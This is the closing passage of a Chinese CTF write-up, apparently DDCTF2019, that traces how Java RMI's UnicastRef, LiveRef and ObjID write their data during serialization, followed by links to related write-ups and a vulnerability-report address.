
在 UnicastRef 这里ref是外部传入的 LiveRef

查看 LiveRef 的write方法,这里标红的id就是Objid。

最后查看ObjId的write

最后写入的是一个long型数字和ObjId类型没关系。

————— End —————

    延伸阅读    

【知识库】DDCTF2019官方Write Up——Android篇

【知识库】DDCTF2019官方Write Up——Reverse篇

【知识库】DDCTF2019官方Write Up——Misc篇

官网题目仍开放访问,点击“阅读原文“前往

    关于漏洞    

滴滴出行相关漏洞请提交至

http://sec.didichuxing.com/


关注公众号:拾黑(shiheibook)了解更多

[广告]赞助链接:

四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

公众号 关注网络尖刀微信公众号
随时掌握互联网精彩
赞助链接